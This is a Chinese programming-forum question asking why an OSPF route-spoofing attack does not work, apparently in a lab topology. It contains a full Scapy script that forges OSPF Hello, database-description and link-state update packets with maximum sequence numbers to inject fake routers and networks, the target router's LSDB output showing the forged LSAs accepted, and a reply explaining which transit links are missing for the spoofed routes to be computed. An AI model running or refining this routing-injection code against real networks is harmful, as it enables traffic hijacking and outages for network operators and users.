2301_76948990 2023-06-09 18:58 采纳率: 0%
浏览 38

ospf路由欺骗无法实现

拓扑图:

img


import time

from scapy.all import *
from scapy.contrib.ospf import OSPF_Hdr,OSPF_Hello,OSPF_DBDesc,OSPF_LSA_Hdr,OSPF_Router_LSA,OSPF_Network_LSA,OSPF_Link
from scapy.contrib.ospf import OSPF_LSUpd,OSPF_LSAck,OSPF_LSReq,OSPF_LSReq_Item,OSPF_Router_LSA

hello_pkt = Ether()/IP(src="192.168.100.1", dst="224.0.0.5")/\
            OSPF_Hdr(type=1,src='192.168.100.255',area='0.0.0.0')\
            /OSPF_Hello(hellointerval=10, deadinterval=40, prio=255,options="E", mask="255.255.255.0")

for i in range(10):
    sendp(hello_pkt)

hello_pkt1 = Ether() / IP(src="192.168.100.1", dst="224.0.0.5") \
             / OSPF_Hdr(type=1,src='192.168.100.255',area='0.0.0.0') \
             / OSPF_Hello(hellointerval=10, deadinterval=40, prio=255, options="E",
                          mask="255.255.255.0",
                          neighbors='192.168.100.10')

for i in range(10):
    sendp(hello_pkt1)
    time.sleep(0.5)

hello_pkt2 = Ether(dst='00:e0:fc:70:4b:6f') / IP(src="192.168.100.1", dst="192.168.100.10") \
             / OSPF_Hdr(type=1,src='192.168.100.255',area='0.0.0.0') \
             / OSPF_Hello(hellointerval=10, deadinterval=40, prio=255, options="E",
                          router="192.168.100.1",mask="255.255.255.0",
                          neighbors='192.168.100.10',backup='192.168.100.10')
for i in range(3):
    sendp(hello_pkt2)
    time.sleep(1)


dd_pkt1 =Ether(dst='00:e0:fc:70:4b:6f') / IP(src="192.168.100.1", dst="192.168.100.10")\
         / OSPF_Hdr(type=2,src='192.168.100.255',area='0.0.0.0')\
         / OSPF_DBDesc( mtu=1500,options="E",dbdescr=["MS", "M", "I"],ddseq=2, lsaheaders=[] )
for i in range(2):
    sendp(dd_pkt1)
    time.sleep(1)

dd_pkt2 =Ether(dst='00:e0:fc:70:4b:6f') / IP(src="192.168.100.1", dst="192.168.100.10")\
         / OSPF_Hdr(type=2,src='192.168.100.255',area='0.0.0.0')\
         / OSPF_DBDesc( mtu=1500,options="E",dbdescr=["MS", "M", "I"],ddseq=2, lsaheaders=[] )
for i in range(2):
    sendp(dd_pkt2)
    time.sleep(1)

dd_pkt3 =Ether(dst='00:e0:fc:70:4b:6f') / IP(src="192.168.100.1", dst="192.168.100.10")\
         / OSPF_Hdr(type=2,src='192.168.100.255',area='0.0.0.0')\
         / OSPF_DBDesc( mtu=1500,options="E",dbdescr="MS",ddseq=3, lsaheaders=[] )
for i in range(2):
    sendp(dd_pkt3)
    time.sleep(1)


for i in range(5):
    lsupdate = OSPF_LSUpd()
    lsupdate.lsacount=4
    router_lsa1 = OSPF_Router_LSA(age=100,seq=0x7fffffff,id='192.168.100.255',
                                  adrouter='192.168.100.255',
                                  linklist=[OSPF_Link(type=1, id='1.1.1.1', data='192.168.100.1' ,metric=0),
                                            OSPF_Link(type=3, id='6.6.6.0', data='255.255.255.0', metric=0),
                                            OSPF_Link(type=3, id='5.5.5.0', data='255.255.255.0', metric=0),
                                            OSPF_Link(type=3, id='192.168.100.0', data='255.255.255.0', metric=0),
                                            OSPF_Link(type=1, id='6.6.6.6', data='6.6.6.2', metric=0),
                                            OSPF_Link(type=1, id='5.5.5.5', data='5.5.5.2', metric=0),
                                            OSPF_Link(type=2, id='6.6.6.2', data='6.6.6.2', metric=0),
                                            OSPF_Link(type=2, id='5.5.5.2', data='5.5.5.2', metric=0),
                                            OSPF_Link(type=2, id='192.168.100.1', data='192.168.100.1', metric=0),]
                                  )
    router_lsa2 = OSPF_Router_LSA(age=100, seq=0x7fffffff,
                                  id='1.1.1.1',
                                  adrouter='1.1.1.1',
                                  linklist=[OSPF_Link(type=1, id='192.168.100.255', data='192.168.100.10', metric=0)])

    network_lsa1 = OSPF_Network_LSA(age=100, id='192.168.100.255',
                                  adrouter='192.168.100.255',
                                  routerlist=['6.6.6.6','5.5.5.5','1.1.1.1','192.168.100.255'])

    network_lsa2 = OSPF_Network_LSA(age=100, seq=0x7fffffff,id='1.1.1.1',
                                    adrouter='1.1.1.1',
                                    routerlist=['192.168.100.255','1.1.1.1'])
    lsupdate.lsalist.extend(router_lsa1)
    lsupdate.lsalist.extend(router_lsa2)
    lsupdate.lsalist.extend(network_lsa1)
    lsupdate.lsalist.extend(network_lsa2)
    lsupd_pkt=Ether() / IP(src="192.168.100.1", dst="224.0.0.5")/OSPF_Hdr(type=4,src='192.168.100.255',area='0.0.0.0') /lsupdate
    sendp(lsupd_pkt)

for i in range(5):
    lsupdate = OSPF_LSUpd()
    lsupdate.lsacount=4
    router_lsa1 = OSPF_Router_LSA(age=100,seq=0x7fffffff,id='6.6.6.6',
                                  adrouter='6.6.6.6',
                                  linklist=[OSPF_Link(type=3, id='6.6.6.0', data='255.255.255.0', metric=0),
                                            OSPF_Link(type=1, id='192.168.100.255', data='6.6.6.1', metric=0),
                                            OSPF_Link(type=2, id='6.6.6.2', data='6.6.6.1', metric=0),
                                            ])
    router_lsa2 = OSPF_Router_LSA(age=100,  id='5.5.5.5',
                                  adrouter='5.5.5.5',
                                  linklist=[OSPF_Link(type=3, id='5.5.5.0', data='255.255.255.255', metric=0),
                                            OSPF_Link(type=1, id='192.168.100.255', data='5.5.5.1', metric=0),
                                            OSPF_Link(type=2, id='5.5.5.2', data='5.5.5.1', metric=0),]
                                  )
    network_lsa1 = OSPF_Network_LSA(age=100, id='6.6.6.6',
                                  adrouter='6.6.6.6',
                                  routerlist=['6.6.6.6','192.168.100.255'])
    network_lsa2 = OSPF_Network_LSA(age=100, id='5.5.5.5',
                                    adrouter='5.5.5.5',
                                    routerlist=['5.5.5.5', '192.168.100.255'])
    lsupdate.lsalist.extend(router_lsa1)
    lsupdate.lsalist.extend(router_lsa2)
    lsupdate.lsalist.extend(network_lsa1)
    lsupdate.lsalist.extend(network_lsa2)
    lsupd_pkt=Ether() / IP(src="192.168.100.1", dst="224.0.0.5")/OSPF_Hdr(type=4,src='192.168.100.255',area='0.0.0.0') /lsupdate
    sendp(lsupd_pkt)


ar2的lsdb:

[ar2]dis ospf lsdb router 

     OSPF Process 1 with Router ID 1.1.1.1
                 Area: 0.0.0.0
         Link State Database 


  Type      : Router
  Ls id     : 6.6.6.6
  Adv rtr   : 6.6.6.6  
  Ls age    : 232 
  Len       : 60 
  Options   : None 
  seq#      : 7fffffff 
  chksum    : 0x17d8
  Link count: 3
   * Link ID: 6.6.6.0      
     Data   : 255.255.255.0 
     Link Type: StubNet      
     Metric : 0 
     Priority : Low
   * Link ID: 192.168.100.255 
     Data   : 6.6.6.1      
     Link Type: P-2-P        
     Metric : 0
   * Link ID: 6.6.6.2      
     Data   : 6.6.6.1      
     Link Type: TransNet     
     Metric : 0

  Type      : Router
  Ls id     : 192.168.100.255
  Adv rtr   : 192.168.100.255  
  Ls age    : 232 
  Len       : 132 
  Options   : None 
  seq#      : 7fffffff 
  chksum    : 0x3b0e
  Link count: 9
   * Link ID: 1.1.1.1      
     Data   : 192.168.100.1 
     Link Type: P-2-P        
     Metric : 0
   * Link ID: 6.6.6.0      
     Data   : 255.255.255.0 
     Link Type: StubNet      
     Metric : 0 
     Priority : Low
   * Link ID: 5.5.5.0      
     Data   : 255.255.255.0 
     Link Type: StubNet      
     Metric : 0 
     Priority : Low
   * Link ID: 192.168.100.0 
     Data   : 255.255.255.0 
     Link Type: StubNet      
     Metric : 0 
     Priority : Low
   * Link ID: 6.6.6.6      
     Data   : 6.6.6.2      
     Link Type: P-2-P        
     Metric : 0
   * Link ID: 5.5.5.5      
     Data   : 5.5.5.2      
     Link Type: P-2-P        
     Metric : 0
   * Link ID: 6.6.6.2      
     Data   : 6.6.6.2      
     Link Type: TransNet     
     Metric : 0
   * Link ID: 5.5.5.2      
     Data   : 5.5.5.2      
     Link Type: TransNet     
     Metric : 0
   * Link ID: 192.168.100.1 
     Data   : 192.168.100.1 
     Link Type: TransNet     
     Metric : 0

  Type      : Router
  Ls id     : 1.1.1.2
  Adv rtr   : 1.1.1.2  
  Ls age    : 1066 
  Len       : 36 
  Options   :  E  
  seq#      : 80000004 
  chksum    : 0xd764
  Link count: 1
   * Link ID: 1.1.1.2      
     Data   : 1.1.1.2      
     Link Type: TransNet     
     Metric : 1

  Type      : Router
  Ls id     : 1.1.1.1
  Adv rtr   : 1.1.1.1  
  Ls age    : 74 
  Len       : 48 
  Options   :  E  
  seq#      : 80000001 
  chksum    : 0x253e
  Link count: 2
   * Link ID: 1.1.1.2      
     Data   : 1.1.1.1      
     Link Type: TransNet     
     Metric : 1
   * Link ID: 192.168.100.0 
     Data   : 255.255.255.0 
     Link Type: StubNet      
     Metric : 1 
     Priority : Low

  Type      : Router
  Ls id     : 5.5.5.5
  Adv rtr   : 5.5.5.5  
  Ls age    : 864 
  Len       : 60 
  Options   : None 
  seq#      : 80000001 
  chksum    : 0x2fd2
  Link count: 3
   * Link ID: 5.5.5.0      
     Data   : 255.255.255.255 
     Link Type: StubNet      
     Metric : 0 
     Priority : Medium
   * Link ID: 192.168.100.255 
     Data   : 5.5.5.1      
     Link Type: P-2-P        
     Metric : 0
   * Link ID: 5.5.5.2      
     Data   : 5.5.5.1      
     Link Type: TransNet     
     Metric : 0

[ar2]dis ospf lsdb network 

     OSPF Process 1 with Router ID 1.1.1.1
                 Area: 0.0.0.0
         Link State Database 


  Type      : Network
  Ls id     : 6.6.6.6
  Adv rtr   : 6.6.6.6  
  Ls age    : 1203 
  Len       : 32 
  Options   : None 
  seq#      : 80000001 
  chksum    : 0xeb5a
  Net mask  : 255.255.255.0
  Priority  : Low
     Attached Router    6.6.6.6
     Attached Router    192.168.100.255

  Type      : Network
  Ls id     : 192.168.100.255
  Adv rtr   : 192.168.100.255  
  Ls age    : 1204 
  Len       : 36 
  Options   : None 
  seq#      : 80000001 
  chksum    : 0xe4a7
  Net mask  : 255.255.255.0
  Priority  : Low
     Attached Router    6.6.6.6
     Attached Router    5.5.5.5
     Attached Router    1.1.1.1

  Type      : Network
  Ls id     : 1.1.1.2
  Adv rtr   : 1.1.1.2  
  Ls age    : 1417 
  Len       : 32 
  Options   :  E  
  seq#      : 80000001 
  chksum    : 0x83c3
  Net mask  : 255.255.255.0
  Priority  : Low
     Attached Router    1.1.1.2
     Attached Router    1.1.1.1

  Type      : Network
  Ls id     : 5.5.5.5
  Adv rtr   : 5.5.5.5  
  Ls age    : 1207 
  Len       : 32 
  Options   : None 
  seq#      : 80000001 
  chksum    : 0x163c
  Net mask  : 255.255.255.0
  Priority  : Low
     Attached Router    5.5.5.5
     Attached Router    192.168.100.255
 

为什么路由器的路由表不计算路由 不显示5.5.5.0和6.6.6.0网段

  • 写回答

1条回答 默认 最新

  • jing_8108 2023-06-11 13:34
    关注

    AR2产生的ls id为1.1.1.1的router lsa中缺少指向AR3的transit link
    AR1产生的ls id为2.2.2.2的router lsa中缺少指向AR3的transit link
    所以不会计算出来想要的路由
    图上的router id不是很清晰,没法直接写出lsa的样子

    评论

报告相同问题?

问题事件

  • 创建了问题 6月9日

悬赏问题

  • ¥15 求差集那个函数有问题,有无佬可以解决
  • ¥15 【提问】基于Invest的水源涵养
  • ¥20 微信网友居然可以通过vx号找到我绑的手机号
  • ¥15 寻一个支付宝扫码远程授权登录的软件助手app
  • ¥15 解riccati方程组
  • ¥15 display:none;样式在嵌套结构中的已设置了display样式的元素上不起作用?
  • ¥15 使用rabbitMQ 消息队列作为url源进行多线程爬取时,总有几个url没有处理的问题。
  • ¥15 Ubuntu在安装序列比对软件STAR时出现报错如何解决
  • ¥50 树莓派安卓APK系统签名
  • ¥65 汇编语言除法溢出问题